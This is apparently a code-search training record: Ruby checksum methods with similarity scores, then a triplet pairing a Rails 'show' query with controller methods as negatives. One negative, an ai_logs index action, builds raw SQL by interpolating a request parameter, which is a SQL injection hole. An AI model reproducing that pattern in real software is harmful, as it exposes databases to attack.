"def write_data(data)\n \n # need to zero the checksum field in case:\n # its not zero, which would affect the checksum, 0 ^ X = X so zero doesn't affect checksum\n # the checksum has already been set, which would result in zero checksum, X ^ X = 0\n BinaryAccessor.write(0, \n @checksum_byte_offset*8, \n 8, \n :UINT,\n data, \n @endianness, \n :ERROR)\n\n # write the value into the packet\n BinaryAccessor.write(calcChecksum(data), \n @checksum_byte_offset*8, \n 8, \n :UINT,\n data, \n @endianness, \n :ERROR)\n \n return data\n end",
"def checksum_trailer\n fil_trailer[:checksum]\n end",
"def retrieve(usecache = false)\n # When the 'source' is retrieving, it passes \"true\" here so\n # that we aren't reading the file twice in quick succession, yo.\n currentvalue = currentsum()\n return currentvalue if usecache and currentvalue\n\n stat = nil\n return :absent unless stat = @resource.stat\n\n if stat.ftype == \"link\" and @resource[:links] != :follow\n self.debug \"Not checksumming symlink\"\n # @resource.delete(:checksum)\n return currentvalue\n end\n\n # Just use the first allowed check type\n currentvalue = getsum(checktype())\n\n # If there is no sum defined, then store the current value\n # into the cache, so that we're not marked as being\n # out of sync. We don't want to generate an event the first\n # time we get a sum.\n self.updatesum(currentvalue) unless cache(checktype())\n\n # @resource.debug \"checksum state is %s\" % self.is\n return currentvalue\n end",
"def pseudo_header_checksum\n sum = 0\n self[:src].to_a.each { |word| sum += word.to_i }\n self[:dst].to_a.each { |word| sum += word.to_i }\n sum\n end",
"def shasum\n @shasum ||= begin\n digest = Digest::SHA256.new\n\n log.info(log_key) { \"Calculating shasum\" }\n log.debug(log_key) { \"name: #{name.inspect}\" }\n log.debug(log_key) { \"install_dir: #{install_dir.inspect}\" }\n log.debug(log_key) { \"overrides: #{overrides.inspect}\" }\n\n update_with_string(digest, name)\n update_with_string(digest, install_dir)\n update_with_string(digest, JSON.fast_generate(overrides))\n\n if filepath && File.exist?(filepath)\n log.debug(log_key) { \"filepath: #{filepath.inspect}\" }\n update_with_file_contents(digest, filepath)\n else\n log.debug(log_key) { \"filepath: <DYNAMIC>\" }\n update_with_string(digest, '<DYNAMIC>')\n end\n\n shasum = digest.hexdigest\n\n log.debug(log_key) { \"shasum: #{shasum.inspect}\" }\n\n shasum\n end\n end",
"def verify_checksum(hrp, data)\n const = polymod(expand_hrp(hrp) + data)\n case const\n when 1\n Encoding::BECH32\n when BECH32M_CONST\n Encoding::BECH32M\n end\n end",
"def validate_checksum\n raise Puppet::Error.new \"Inconsistent checksums. Checksum of fetched file is #{calculated_checksum}. You specified #{specified_checksum}\" if calculated_checksum != specified_checksum\n end",
"def checksum sequence_number\n Digest::MD5.hexdigest(@buffer[sequence_number])\n end",
"def crc; end",
"def crc; end",
"def crc; end",
"def checksum=(value)\n munge(@should)\n self.updatesum(value)\n end",
"def checksum(content)\n out = ''\n (0...content.size).step(2) do |idx|\n sub = content[idx..(idx + 1)]\n case sub\n when '00' then out << '1'\n when '11' then out << '1'\n when '01' then out << '0'\n when '10' then out << '0'\n else\n raise \"Unknown pattern '#{sub}'@#{idx}\"\n end\n end\n\n out = out\n if out.size.even?\n checksum(out)\n else\n out\n end\nend",
"def compute_checksum\n pseudo = []\n pseudo << ((((self.version << 4) | self.hlen) << 8) | self.tos)\n pseudo << self.len\n pseudo << self.id\n pseudo << ((self.flags << 13) | self.foffset)\n pseudo << ((self.ttl << 8) | self.protocol)\n pseudo << 0 \n pseudo << L3::Misc.ipv42long(self.src_ip)\n pseudo << L3::Misc.ipv42long(self.dst_ip)\n L3::Misc.checksum(pseudo.pack(\"nnnnnnNN\"))\n end",
"def checksum\n @checksum ||= begin\n if empty?\n EMPTY_CHECKSUM\n else\n ::Digest::MD5.hexdigest(children.map(&:checksum).join)\n end\n end.to_s\n end",
"def getsum(checktype, file = nil)\n sum = \"\"\n\n checktype = :mtime if checktype == :timestamp\n checktype = :ctime if checktype == :time\n self.should = checktype = :md5 if @resource.property(:source)\n\n file ||= @resource[:path]\n\n return nil unless FileTest.exist?(file)\n\n if ! FileTest.file?(file)\n checktype = :mtime\n end\n method = checktype.to_s + \"_file\"\n\n self.fail(\"Invalid checksum type %s\" % checktype) unless respond_to?(method)\n\n return \"{%s}%s\" % [checktype, send(method, file)]\n end",
"def checksum\n self[:ip_sum]\n end",
"def checksum(hex)\n hash = hash256(hex) # Hash the data through SHA256 twice\n return hash[0...8] # Return the first 4 bytes (8 characters)\nend",
"def checksum_data\n sum = 0\n File.read('./inputs/day_02.txt').lines.each do |line|\n high = 0\n low = 999999\n dataArray = line.gsub(/\\n/, '').split(/\\t/).map { |d| d.to_i }\n dataArray.each do |item|\n n = item.to_i\n high = n if n > high\n low = n if n < low\n end\n sum += (high - low)\n end\n puts sum\nend",
"def fix!# {{{\n self.checksum!\n end",
"def checksum_handler(file_path, hash_db, hash_class, _bit_size, debugmode, samefolder)\n # Reference for hash banner to notice wat function is using\n reference_banner = {1 => \"SHA1\", 2 => \"SHA2-#{_bit_size}\", 5 => \"MD5\"}[hash_class]\n # returns path as the script was in the same folder\n if samefolder\n samefolder = getfolder file_path\n end\n # Puts hash class that is really a hash function that is going to be used\n if debugmode\n puts reference_banner\n end\n # Write to target if is stablished\n if hash_db.is_a? String\n # Handler for the next writes\n file_object = File.open hash_db, 'w'\n # Write the banner; useful for compare mode\n file_object.write \"#{reference_banner}\\n\"\n else\n # When not file is set\n file_object = nil\n end\n # Stablish the hash class\n hash_class = {1 => Digest::SHA1, 2 => Digest::SHA2, 5 => Digest::MD5}[hash_class]\n # Recursive mode also works with files\n recursive_checksum file_path, hash_class, _bit_size, file_object, debugmode, samefolder\n # If we are redirecting the hashes to a file finally close it\n if file_object\n file_object.close\n end\nend",
"def checksum\n @checksum ||= begin\n voice = @attrs[:voice]\n data = [\n voice.engine_id.to_s,\n voice.lang_id.to_s,\n voice.voice_id.to_s,\n @attrs[:text].to_s,\n @attrs[:ext].to_s,\n @attrs[:fx_type].to_s,\n @attrs[:fx_level].to_s,\n @attrs[:account_id].to_s,\n @attrs[:api_id].to_s,\n @attrs[:session].to_s,\n @attrs[:secret_phrase].to_s\n ].join('')\n Digest::MD5.hexdigest(data)\n end\n end",
"def get_md5sum(file)\n get_sum(file, 'md5')\n end",
"def upstream_md5=( checksum )\n @digest = Crate::Digest.md5( checksum )\n end",
"def setchecksum(sum = nil)\n if @parameters.include? :checksum\n if sum\n @parameters[:checksum].checksum = sum\n else\n # If they didn't pass in a sum, then tell checksum to\n # figure it out.\n currentvalue = @parameters[:checksum].retrieve\n @parameters[:checksum].checksum = currentvalue\n end\n end\n end",
"def checksum(hex)\n sha256(sha256(hex))[0...8]\nend",
"def checksum(file, digest=nil)\n return nil unless digest\n if FileTest.directory?(file)\n @null_string ||= digester(digest).hexdigest(\"\") # TODO use other means\n else\n digester(digest).hexdigest(File.read(file))\n end\n end",
"def checksum\n (10 - (digits.each_with_index.inject(0) do |sum, (digit, index)|\n sum + (digit * (index.even? ? 1 : 3))\n end % 10)) % 10\n end",
"def specified_checksum\n @resource[:checksum]\n end",
"def checksum?\n self.checksum == compute_checksum\n end",
"def update(data)\n data.each_byte do |b|\n @crc = ((@table[((@crc >> 3) ^ b) & 0xff] ^ (@crc >> 8)) & @crc_mask)\n end\n\n return self\n end",
"def checksum(hex)\n hash = hash256(hex) # Hash the data through SHA256 twice\n return hash[0...8] # Return the first 4 bytes (8 characters)\n end",
"def get_checksum\n msg = nil\n header_only = nil\n\n if params[:chk_header_only] == '1'\n # bind header only content\n header_only = true\n msg = Checksum.get_header_info params[:excel_file]\n else\n # 2. sequentially download package in checksum file\n path = Rails.root.join('public', 'checksum_packages', params[:folder])\n msg = Checksum.dowload_files path, params['excel_file']\n end\n\n if msg == ErrorNo::UploadFile::EXCEL_INVALID_FILE_TYPE\n message = 'Please select correct excel file type: .csv/.xls/.xlsx'\n elsif msg == ErrorNo::UploadFile::EXCEPTION\n message = 'Error occurred when uploading file. Please contact administrator for more details.'\n elsif msg == ErrorNo::FileFolder::F_EXIST\n message = \"'#{params[:folder]}' folder already exists. Please enter new name\"\n elsif msg.is_a?(Array) && msg[0] == ErrorNo::UploadFile::EXCEL_MISSING_HEADER\n message = 'Below is the missing header titles list. Please update header title(s) of the excel file or contact your administrator<br/>' + msg[1]\n elsif msg == ErrorNo::UploadFile::EXCEL_CANNOT_OPEN\n message = 'Cannot open file! Please try again.'\n elsif header_only\n message = msg\n else\n message = '<p class=\\'alert alert-success\\'>Server is downloading packages sequentially. Please navigate to Checksum Comparison Result page for more details.</p>'\n end\n\n render plain: message\n end",
"def verify_checksum!\n log.info(log_key) { \"Verifying checksum\" }\n\n expected = checksum\n actual = digest(downloaded_file, digest_type)\n\n if expected != actual\n raise ChecksumMismatch.new(self, expected, actual)\n end\n end",
"def checksum(file_path, hash_class, _bit_size)\n # Size of each chunk\n chunk_size = 2048\n # Hash that is the checksum function\n # when a bitsize was specified\n if _bit_size\n hash = hash_class.new(_bit_size)\n else\n hash = hash_class.new\n end\n # File handler\n file_object = File.open(file_path, 'r')\n # loop to update the hash\n while true\n content = file_object.read chunk_size\n # Break the loop if we don't get any byte\n unless content\n return hash.hexdigest\n end\n # Update the hash\n hash.update content\n end\nend",
"def checksum(iFirstOrSecond)\n\n\t\t# if invalid index\n\t\treturn 0xFF if (1 < iFirstOrSecond)\n\n\t\treturn @aChecksum[iFirstOrSecond];\n\n\tend",
"def fetch_checksum\n uri = URI(new_resource.checksum_uri)\n request = Net::HTTP.new(uri.host, uri.port)\n request.use_ssl = true if uri.to_s.start_with?('https')\n response = request.get(uri)\n if response.code != '200'\n Chef::Log.fatal(\"Fetching the Logstash tarball checksum at #{uri} resulted in an error #{response.code}\")\n raise\n end\n response.body.split(' ')[0]\n rescue => e\n Chef::Log.fatal(\"Could not fetch the checksum due to an error: #{e}\")\n raise\n end",
"def crc=(_arg0); end",
"def checksum\n odd_length_checksum = 0\n even_length_checksum = 0\n length = nil\n\n @id_string.each_digit_with_position do |n, position|\n length = position\n if position.even?\n odd_length_checksum += double_digit_value(n)\n even_length_checksum += n\n else\n odd_length_checksum += n\n even_length_checksum += double_digit_value(n)\n end\n end\n\n length.odd? ? odd_length_checksum : even_length_checksum\n\n end",
"def checksum\n Digest::SHA256.file(sample_dmg).hexdigest\nend",
"def digest_card_data\n @sha256 = self.class.set_digest\n\n self.card_number = @sha256.base64digest(@card_number_undigest) if @card_number_undigest.present?\n self.cvv = @sha256.base64digest(@cvv_undigest) if @cvv_undigest.present?\n\n @cvv_undigest = nil\n @card_number_undigest = nil\n end",
"def calculate_checksum()\n # Don't calculate, if a checksum was already provided.\n if not self.checksum.nil?\n return\n end\n\n # Create an array of process strings, sort, and md5\n process_strings = []\n self.os_processes.each do |p|\n\n # Begin string with process name.\n process_string = p.name.to_s\n\n # Append sorted files.\n file_strings = []\n p.process_files.each do |f|\n if (f.event == \"Delete\" ||\n f.file_content.nil? ||\n f.file_content.md5 == \"UNKNOWN\" ||\n f.file_content.sha1 == \"UNKNOWN\")\n file_string = f.name.to_s\n else\n file_string = f.file_content.md5.to_s + f.file_content.sha1.to_s\n end\n file_string += f.event.to_s\n file_strings << file_string\n end\n process_string += file_strings.sort.join(\"\")\n\n # Append sorted registries.\n registry_strings = []\n p.process_registries.each do |rk|\n registry_string = rk.name.to_s\n registry_string += rk.event.to_s\n registry_string += rk.value_name.to_s\n # XXX: Does not currently include value name or value type.\n registry_strings << registry_string\n end\n process_string += registry_strings.sort.join(\"\")\n process_strings << process_string\n end\n\n # Calculate the corresponding checksum.\n if process_strings.size == 0\n # If the fingerprint is empty, then generate a random checksum.\n self.checksum = Digest::MD5.hexdigest(rand.to_s)\n else\n self.checksum = Digest::MD5.hexdigest(process_strings.sort.join(\"\"))\n end\n end",
"def external_dependency_checksum; end",
"def checksum(hex)\n sha256(sha256(hex))[0...8]\n end",
"def finish\n self.class.pack(checksum)\n end",
"def get_checksum_method #:nodoc:\n @checksum_method = 3\n end"
] |
[
"0.70415354",
"0.69379395",
"0.6750849",
"0.65638494",
"0.65250707",
"0.6514308",
"0.6493108",
"0.64663786",
"0.64663786",
"0.64651674",
"0.643656",
"0.64114666",
"0.64114666",
"0.6371721",
"0.6342957",
"0.63137287",
"0.6259493",
"0.623863",
"0.62170446",
"0.61951697",
"0.6147737",
"0.61210304",
"0.61194414",
"0.610153",
"0.6075551",
"0.6048617",
"0.60268325",
"0.60019517",
"0.5995435",
"0.5901037",
"0.5893661",
"0.5881994",
"0.5875786",
"0.58691835",
"0.5865986",
"0.5831603",
"0.5818679",
"0.58095336",
"0.5800504",
"0.5774616",
"0.5758047",
"0.5753342",
"0.5744129",
"0.5739579",
"0.5726392",
"0.57004774",
"0.5672046",
"0.5648881",
"0.56406564",
"0.5638721",
"0.56325847",
"0.56323785",
"0.56307936",
"0.558984",
"0.5588792",
"0.55754346",
"0.55697024",
"0.5545139",
"0.55352014",
"0.55139124",
"0.54946",
"0.5485832",
"0.54577595",
"0.54577595",
"0.54577595",
"0.5428998",
"0.5420454",
"0.5419773",
"0.541841",
"0.5417711",
"0.5411109",
"0.53645563",
"0.5353368",
"0.5345452",
"0.53198135",
"0.53194374",
"0.5312598",
"0.5308112",
"0.5300766",
"0.52915806",
"0.5288545",
"0.5264324",
"0.5260843",
"0.5260759",
"0.525714",
"0.5253049",
"0.5249937",
"0.5238606",
"0.5237854",
"0.5223692",
"0.52207047",
"0.521572",
"0.52044535",
"0.52005845",
"0.5197792",
"0.5187217",
"0.518054",
"0.5173842",
"0.51690984",
"0.51603436"
] |
0.6949942
|
1
|
GET /mergegraphs/1 GET /mergegraphs/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @mergegraph = Admin::Mergegraph.new(mergegraph_params)\n\n respond_to do |format|\n if @mergegraph.save\n format.html { redirect_to @mergegraph, notice: 'Mergegraph was successfully created.' }\n format.json { render action: 'show', status: :created, location: @mergegraph }\n else\n @merge = Admin::Merge.find(@mergegraph.merge_id)\n format.html { render action: 'new' }\n format.json { render json: @mergegraph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n if params[:id] then\n @graphs = Graph.find_all_by_id(params[:id].split(','), :include => [:subgraphs, :nodes])\n else\n @graphs = Graph.all :include => [:subgraphs, :nodes]\n end\n \n Action.log :controller => params[:controller], :action => params[:action], :user => current_user\n\n respond_to do |format|\n format.html { render :layout => !request.xhr? } # index.html.erb\n format.json #{ render json: @graphs }\n end\n end",
"def set_mergegraph\n @mergegraph = Admin::Mergegraph.find(params[:id])\n merge_id = @mergegraph.merge_id\n @merge = Admin::Merge.find(merge_id)\n end",
"def index\n @merges = Merge.all\n end",
"def index\n @api_v1_graphs = Api::V1::Graph.all\n end",
"def index\n @graphs = Graph.all\n end",
"def index\n if @series_statement\n @series_statement_merges = @series_statement.series_statement_merges.order('series_statement_merges.id').page(params[:page])\n elsif @series_statement_merge_list\n @series_statement_merges = @series_statement_merge_list.series_statement_merges.order('series_statement_merges.id').includes(:series_statement).page(params[:page])\n else\n @series_statement_merges = SeriesStatementMerge.page(params[:page])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @series_statement_merges }\n end\n end",
"def index\n @graphs = Graph.where(:user_id => current_user_id)\n\n if @graphs.count > 0\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @graphs }\n end\n else\n new\n end\n end",
"def destroy\n @mergegraph.destroy\n respond_to do |format|\n format.html { redirect_to admin_mergegraph_url }\n format.json { head :no_content }\n end\n end",
"def get_graph_at_path\n if comparison = Comparison.get(params[:id]) then\n @comparison = comparison\n path = File.join(comparison.location_of_graphs, params[:graph_path])\n\n if Dir.exist? path\n # turn the directories into the correct paths\n @graph_directories = comparison.get_directories_for_relative_path(params[:graph_path])\n if @graph_directories.nil?\n @graph_directories = []\n else\n @graph_directories = @graph_directories.map { |d| d.gsub(comparison.location_of_graphs.parent.parent, \"\") }\n end\n @graph_files = comparison.get_files_for_relative_path(params[:graph_path])\n if @graph_files.nil? or @graph_files.empty?\n @graph_files = []\n else\n @graph_files = @graph_files.map { |f| f.gsub(comparison.location_of_graphs.parent.parent, \"\") }\n subcat = @graph_files.first.split('/')[-2]\n category = @graph_files.first.split('/')[-3]\n @graph_title = [ApplicationController::Name_legend[category.to_s], ApplicationController::Name_legend[subcat]].join (\" -- \")\n end\n render :graphs\n else\n render_404\n end\n\n else\n render_404\n end\n end",
"def update\n respond_to do |format|\n if @mergegraph.update(mergegraph_params)\n format.html { redirect_to @mergegraph, notice: 'Mergegraph was successfully updated.' }\n format.json { head :no_content }\n else\n @merge = Admin::Merge.find(@mergegraph.merge_id)\n format.html { render action: 'edit' }\n format.json { render json: @mergegraph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_graphs_data\n service_response = DashboardManagement::GetGraphsData.new(params).perform\n\n if service_response.success?\n render :json => service_response.data\n elsif\n service_response.http_code = 404\n render_api_response(service_response)\n end\n end",
"def index\n @admin_merges = Admin::Merge.all\n end",
"def mergegraph_params\n params.require(:admin_mergegraph).permit(:merge_id, :graph_id, :side, :y, :vieworder)\n end",
"def generate_graph\n nodes = User.where(team_id: @team.id)\n links = []\n\n (0..nodes.length-1).to_a.each do |index1|\n\n (0..nodes.length-1).to_a.each do |index2|\n\n if index1 != index2 \n message_count = Message.where(user_id_from: nodes[index1].id, user_id_to: nodes[index2].id).length\n link = {\n source: index1,\n target: index2,\n value: message_count\n }\n links.push(link)\n end\n\n end\n\n end\n render json: {\n nodes: nodes,\n links: links\n }\n rescue Exception => e\n render json: {error: e.message}\n end",
"def index\n @graphs = Graph.all.order('path ASC')\n end",
"def index\n if @series_statement\n @series_statement_merges = @series_statement.series_statement_merges.order('series_statement_merges.id').page(params[:page])\n elsif @series_statement_merge_list\n @series_statement_merges = @series_statement_merge_list.series_statement_merges.order('series_statement_merges.id').includes(:series_statement).page(params[:page])\n else\n @series_statement_merges = SeriesStatementMerge.page(params[:page])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def data\n @map = Map.find(params[:map_id])\n @categories = @map.categories\n p \"--------- @map ---------\"\n p @map.nodes.to_json\n response = { nodes: [], edges: []}\n @map.nodes.each do |n|\n response[:nodes] << {id: n.id, name: n.name, description: n.description}\n n.rels.each do |rel|\n start = idIndex(@map.nodes, rel.start_node.id)\n stop = idIndex(@map.nodes, rel.end_node.id)\n if !start.nil? && !stop.nil?\n response[:edges] << {source: start, target: stop, type: rel.rel_type }\n end\n end\n end\n index_offset = @map.nodes.count \n @categories.each do |n|\n response[:nodes] << {id: n.id, name: n.name}\n n.rels.each do |rel|\n start = idIndex(@map.nodes, rel.start_node.id)\n stop = idIndex(@categories, rel.end_node.id, index_offset)\n if !start.nil? && !stop.nil?\n response[:edges] << {source: start, target: stop, type: rel.rel_type }\n end\n end\n end\n p \"------------ response -----------\"\n puts response.to_json\n respond_to do |format|\n format.html { render 'graph/show'}\n format.json { render json: response}\n end\nend",
"def new\n @series_statement_merge = SeriesStatementMerge.new\n @series_statement_merge.series_statement = @series_statement\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @series_statement_merge }\n end\n end",
"def show\n @expression_merge_list = ExpressionMergeList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @expression_merge_list }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @series_statement_merge }\n end\n end",
"def index\n @gauge_graphs = GaugeGraph.all\n end",
"def show\n @work_merge_list = WorkMergeList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @work_merge_list }\n end\n end",
"def show\n @graph_membership_graph = GraphMembershipGraph.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @graph_membership_graph }\n end\n end",
"def merge\n @node = Node.find(params[:id])\n # we should somehow signal to the user that this is going to take some time?\n debugger\n merged = @node.merge_all_leaves\n # response.headers['Content-Type'] = 'text/xml' # I've also seen this for CSV files: 'text/csv; charset=iso-8859-1; header=present'\n # response.headers['Content-Disposition'] = 'attachment; filename=merged.otml'\n send_data merged, :type => 'text/xml', :disposition => 'attachment; filename=merged.otml'\n end",
"def index\n @expression_merge_lists = ExpressionMergeList.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @expression_merge_lists }\n end\n end",
"def index\n if @patron\n @patron_merges = @patron.patron_merges.order('patron_merges.id').page(params[:page])\n elsif @patron_merge_list\n @patron_merges = @patron_merge_list.patron_merges.order('patron_merges.id').includes(:patron).page(params[:page])\n else\n @patron_merges = PatronMerge.page(params[:page])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @patron_merges }\n end\n end",
"def show\n render json: @graph.representation\n end",
"def index\n @connections = Connection.all(:include => :user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @connections }\n end\n end",
"def chart_comparison\n pts = params[:portfolios] ||= \"#{Portfolio.first.id}\" # '10, 17, 8, 3, 6, 7, 9' # \"#{Portfolio.first.id}\" \n ports = pts.split(',').map { |p| p.to_i }\n \n data = [ ]\n zero_line = History.where(portfolio_id: Portfolio.first.id, snapshot_date: Date.today.beginning_of_year..Date.today).collect { |h| [ h.snapshot_date.strftime(\"%Y/%m/%d\"), 0 ] } \n data.push ( {name: 'zero', data: zero_line } )\n Portfolio.find(ports).each do |p|\n start_year_total = History.where(portfolio_id: p.id, snapshot_date: Date.today.beginning_of_year..Date.today).first.total\n# start_month_total = History.where(portfolio_id: p.id, snapshot_date: Date.today.beginning_of_month..Date.today.beginning_of_month+2).first.total\n series = History.where(portfolio_id: p.id, snapshot_date: Date.today.beginning_of_year..Date.today).collect { |h| [ h.snapshot_date.strftime(\"%Y/%m/%d\"), ( (h.total / start_year_total) - 1 ) ] } \n data.push ( { name: p.name, data: series } ) \n end\n \n data = [ { name: 'padding', data: [ ] } ]\n Group.all.each do |g|\n series = History.graph_data_comparison(g.name, 'Last 3 Years')[0]\n data.push ( { name: g.name, data: series } ) \n end\n\n render json: data\n end",
"def index\n @work_merge_lists = WorkMergeList.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @work_merge_lists }\n end\n end",
"def index\n @ganglia_graphs = GangliaGraph.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ganglia_graphs }\n end\n end",
"def index\n @payments = @payments.order(\"date DESC\")\n @graph = { :members => chart(\"members\"), \n :total => chart(\"total\"), \n :basic => chart(\"basic\"), \n :associate => chart(\"associate\")}\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @payments }\n end\n end",
"def neo_graphs\n @neo_graphs ||= {}\n end",
"def graphs\n @graphs ||= begin\n graphs = []\n graphs << {data: data, format: RDF::Format.for(data_file.to_s).to_sym} if data_file\n graphs + graphData.map do |g|\n {\n data: RDF::Util::File.open_file(g.graph.to_s, &:read),\n format: RDF::Format.for(g.graph.to_s).to_sym,\n base_uri: g.basename\n }\n end\n end\n end",
"def show\n @connection_group = ConnectionGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @connection_group }\n end\n end",
"def new\n @graph = Graph.new\n 3.times { @graph.graph_membership_graphs.build }\n 3.times { @graph.graph_membership_nodes.build }\n \n Action.log :controller => params[:controller], :action => params[:action], :user => current_user\n\n respond_to do |format|\n format.html { render :layout => !request.xhr? } # new.html.erb\n format.json { render json: @graph }\n end\n end",
"def get_merged(br)\n __branches \"-l --merged #{br}\"\nend",
"def get_graph_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi.get_graph ...\"\n end\n # resource path\n local_var_path = \"/graph\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2001')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#get_graph\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @concept_groups = ConceptGroup.find_all_by_parent_id(nil)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @concept_groups }\n end\n end",
"def index\n @cycles = Cycle.where(group_id: params[:group_id])\n\n render json: @cycles\n end",
"def new\n @graph_membership_graph = GraphMembershipGraph.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @graph_membership_graph }\n end\n end",
"def connections\n\t\t# Find degree\n\t\tif params.has_key? 'degree'\n\t\t\tdegree = params['degree']\n\t\telse\n\t\t\tdegree = 1\n\t\tend\n\n\t\t# Get user id from the params\n\t\tuser_id = params[:user_id]\n\n\t\t# Get connections from graph\n\t\tconnections = { 1 => [{\"user\" => {id: 3}}] }\n\n\t\t# Get demos from couch\n\t\tdemographics = { 1 => 'asdljasd' }\n\n\t\t# Build JSON\n\t\trender json: connections_json(user_id, connections, demographics)\n\tend",
"def index\n @combined_images = CombinedImage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @combined_images }\n end\n end",
"def create\n @graph = Graph.new(params[:graph])\n\n respond_to do |format|\n if @graph.save\n Action.log :controller => params[:controller], :action => params[:action], :target_id => @graph.id, :user => current_user\n format.html { redirect_to @graph, notice: 'Graph was successfully created.' }\n format.json { render json: @graph, status: :created, location: @graph }\n else\n @graph.graph_membership_graphs.build\n @graph.graph_membership_nodes.build\n format.html { render action: \"new\", :layout => !request.xhr? }\n format.json { render json: @graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @workflow = Workflow.find(params[:id])\n \n default_graph_settings = \"node [shape=box,style=filled];\\n\"\n \n @processed_graph = default_graph_settings + @workflow.graph + process_graph(@workflow)\n \n gv = IO.popen(\"/usr/local/bin/dot -q -Tpng\", \"w+\")\n gv.puts \"digraph G{\", @processed_graph, \"}\"\n gv.close_write\n @gvpng = gv.read\n\n\n gv = IO.popen(\"/usr/local/bin/dot -q -Tcmapx\", \"w+\")\n gv.puts \"digraph G{\", @processed_graph, \"}\"\n gv.close_write\n @gvmap = gv.read\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @workflow }\n end\n end",
"def index\n retrieve_data_for_graph\n end",
"def new\n @work_merge_list = WorkMergeList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @work_merge_list }\n end\n end",
"def index\n @groupons = Groupon.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groupons }\n end\n end",
"def index\n @bar_graphs = BarGraph.all\n end",
"def index\n # filter query by param['group_id'] if it exists\n if params['group_id']\n group = Group.where(group_id: params['group_id']).first\n @annotation_layers = Array.new\n @annotation_layers = group.annotation_layers if !group.nil?\n else\n @annotation_layers = AnnotationLayer.order('order_weight')\n end\n respond_to do |format|\n format.html #index.html.erb\n iiif = []\n @annotation_layers.each do |annotation_layer|\n iiif << annotation_layer.to_iiif\n end\n iiif.to_json\n format.json {render json: iiif, content_type: \"application/json\"}\n end\n end",
"def create\n @merge = Merge.new(merge_params)\n\n respond_to do |format|\n if @merge.save\n format.html { redirect_to @merge, notice: 'Merge was successfully created.' }\n format.json { render :show, status: :created, location: @merge }\n else\n format.html { render :new }\n format.json { render json: @merge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_graphviz\n handle_graphviz_setup\n @file_name = build_graphviz_restfulpath(params, @output_format)\n # @file_name = get_graph_dir(\"#{@graph_path}#{params[:program]}.#{@output_format}\")\n \n render :layout=>false\n end",
"def index_bundle_selection\n @bundles = Bundle.order(:id).all\n\n respond_to do |format|\n format.html # index_bundle_selection.html.erb\n format.json { render json: @bundles }\n end\n end",
"def index\n @group_stats = GroupStat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @group_stats }\n end\n end",
"def listgroup \n @groups = Group.where(:company_id => params[:id])\n #@lst= []\n # @groups.each do |group| \n # @lst << JSON.parse(group.to_json).merge(member_nbr: group.users.count)\n # end\n # format.json { render :json => @lst } \n render 'list'\n end",
"def index\n check_authorization\n #@badges = Badge.find(:all, :conditions => [\"organization_id = ? and segment_id = ?\", @organization.id, @segment.id ] )\n @badges = Badge.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @badges }\n end\n end",
"def graphs\n @graphs ||= begin\n graphs = []\n graphs << {data: action.test_data_string, format: RDF::Format.for(action.test_data.to_s.to_s).to_sym} if action.test_data\n graphs + action.graphData.map do |g|\n {\n data: RDF::Util::File.open_file(g, &:read),\n format: RDF::Format.for(g.to_s).to_sym,\n base_uri: g\n }\n end\n end\n end",
"def index\n if (params[:redirect] == \"sql\")\n sql = <<-SQL\n WITH src AS (SELECT id, cow_no, date, state, owner_id FROM ai_logs\n WHERE owner_id = #{params[:search_owner]})\n SELECT json_agg(src) FROM src;\n SQL\n render json: ActiveRecord::Base.connection.select_value(sql)\n else\n @ai_logs = AiLog.all\n end\n end",
